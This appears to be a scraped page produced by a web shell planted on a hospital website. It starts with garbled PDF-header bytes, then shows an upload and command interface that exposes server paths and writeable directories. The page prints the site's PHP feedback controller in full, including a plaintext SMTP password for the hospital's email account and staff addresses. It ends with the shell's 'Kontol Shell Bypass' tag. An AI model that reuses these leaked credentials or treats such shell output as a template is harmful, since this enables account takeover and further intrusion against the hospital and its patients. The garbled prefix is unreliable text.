%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/application/controllers/Feedback.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Feedback extends CI_Controller {

	
	function __construct() {
        parent::__construct();
		$this->load->model('department_model', 'department');
		$this->load->model('doctor_model', 'doctor');
		$this->load->model('Common_Model');
    }
    
	public function index()
	{
	    $data = array();
		$head = array();
		$seoArray = getdynamicseo($this->uri->segment(1));
        $head['page_title'] = $seoArray->SEOTitle!='' ? $seoArray->SEOTitle : 'Feedback | Sharda Hospital';
	    $head['page_description'] = $seoArray->SEODescription!='' ? $seoArray->SEODescription : 'Feedback | Sharda Hospital';
	    $head['page_keyword'] = $seoArray->SEOKeywords!='' ? $seoArray->SEOKeywords : 'Feedback | Sharda Hospital';
		$data['specialities'] = $this->department->get_departments_summary('',array('Speciality'),'',array());
		// print_r($data['specialities']);
	    $this->load->view('_parts/header',$head);
        $this->load->view('feedback',$data);
		$this->load->view('_parts/footer');

    }
	public function formsubmit(){
		$this->load->library('form_validation');
		$this->form_validation->set_rules('name', 'Name', 'required|trim');
		$this->form_validation->set_rules('email', 'Email', 'trim|required|valid_email');
		$this->form_validation->set_rules('phone', 'phone', 'trim|required|numeric|min_length[10]');
		
		if($this->form_validation->run()==true){
			$formarray =  array();
			$formarray['type']=$this->input->post('radio');
			$formarray['name']= $this->stripHTMLtags($this->input->post('name'));
			$formarray['email']= $this->input->post('email');
			$formarray['phone']=$this->input->post('phone');
			$formarray['country']=$this->input->post('country');
			$formarray['speciality']=$this->input->post('speciality');
			$formarray['doctor']=$this->input->post('doctor');
			$formarray['message']= $this->stripHTMLtags($this->input->post('message'));
            $formarray['status']='1';
            $formarray['created_at']=date('Y-m-d H:i:s');

			$inserted_data = $this->Common_Model->saveinfo('sh_feedback',$formarray);
			
			// Save Feedbackinfo PDMS Database
			$full_message = '';
			$full_message .= 'Doctor Name: '.$this->input->post('doctor');
			$full_message .= 'Message: '.$this->input->post('message');
			$full_message = $this->stripHTMLtags($full_message);
			$pdmsArray =  array();
			$pdmsArray['feedback_type'] = $this->input->post('radio');
			$pdmsArray['full_name'] = $this->stripHTMLtags($this->input->post('name'));
			$pdmsArray['email_id'] = $this->input->post('email');
			$pdmsArray['contact_number'] = $this->input->post('phone');
			$pdmsArray['dr_name'] = $this->input->post('doctor');
			$pdmsArray['remarks'] = $full_message;
			$pdmsArray['custom_one'] = $this->input->post('speciality');
			$pdmsArray['feedback_source'] = '5';
			$pdmsArray['createdon'] = date('Y-m-d H:i:s');
			$inserteddata = $this->Common_Model->savepdmsinfo('tbl_feedbackcollection',$pdmsArray);
			
			if($inserted_data>0){
				$this->sendMail('enquiry@shardahospital.org',$formarray);
				$this->session->set_flashdata('submit_status_msg','<span style="color:green;font-size:12px; margin-top:0px;">Your Feedback has been submitted successfully.</span>');
			}
			redirect('feedback');
		}
		else{ print_r($_POST); die('TEST');
			$this->session->set_flashdata('submit_status_msg','<span style="color:#FF0000;font-size:12px; margin-top:0px;">Your Feedback not has been submitted successfully.</span>');
	    }
		redirect('feedback');
		exit;
		$this->load->view('_parts/header');
        $this->load->view('feedback',$data);
		$this->load->view('_parts/footer');
	}
	private function stripHTMLtags($str)
	{
		$t = preg_replace('/<[^<|>]+?>/', '', htmlspecialchars_decode($str));
		$t = htmlentities($t, ENT_QUOTES, "UTF-8");
		return $t;
	}

	public function ajaxgetdocrecord() {
		$speciality = $_POST['speciality'];
		// print_r($speciality);

		if (!empty($speciality)) {
			$dataArray =  $this->doctor->get_doctors_by_department('DoctorName,DoctorTitle',array(),'',array('DoctorDepartment'=>$speciality),'','','A');
			$response = array();
			foreach ($dataArray as $row) {
				$response[ $row['DoctorTitle']." ".$row['DoctorName']] = $row['DoctorTitle'].$row['DoctorName'];
			}
			header('Content-type: application/json');
			echo json_encode($response);
		}
		die;
	}
	
	public function sendMail($email_id,$formarray){
        $specilaity = $this->Common_Model->getAllRecords('SH_Departments','*',array('DepartmentType'=>'3'));
        foreach($specilaity as $row){$special[$row['DepartmentID']] = $row['DepartmentName'];}
        $formarray['special']  = $special;
        $subject =  'Feedback | Sharda Hospital';
        $template = $this->load->view('email_templates/v_email',$formarray,TRUE);
        $this->sendCommonEmail($email_id, $subject, $template);
    }
	
	 public function sendCommonEmail($email_id,$subject,$message){
        $CI =& get_instance();
        $CI->load->library('email');
        $mail=$CI->email;
        $mail->clear();
        //$to = $params['email'];
        $from_email = 'enquiry@shardahospital.org';
        $from_name = 'Feedback | Sharda Hospital';
        //$template = $this->load->view('email_temp/v_email',$params,TRUE);

        $config['charset'] = 'utf-8';
        $config['wordwrap'] = TRUE;
        $config['mailtype'] = 'html';
        $config['protocol']   = "smtp";
        $config['smtp_host']  = 'ssl://smtp.gmail.com';
        $config['smtp_user']  = 'enquiry@shardahospital.org';
        $config['smtp_pass']  = 'Callcentre#2023#&#hospital';
        $config['smtp_port']  = '465';
        $config['_auth_smtp'] = TRUE;
        $config['newline']    = "\r\n";
        $config['crlf']       = "\r\n";
        $mail->initialize($config);
        $mail->from($from_email, $from_name);
        $mail->to($email_id);
        $mail->cc('hospital.callcentre@sharda.ac.in');
        $mail->subject($subject);
        $mail->message($message);
        $mail->send();
    }

}

Kontol Shell Bypass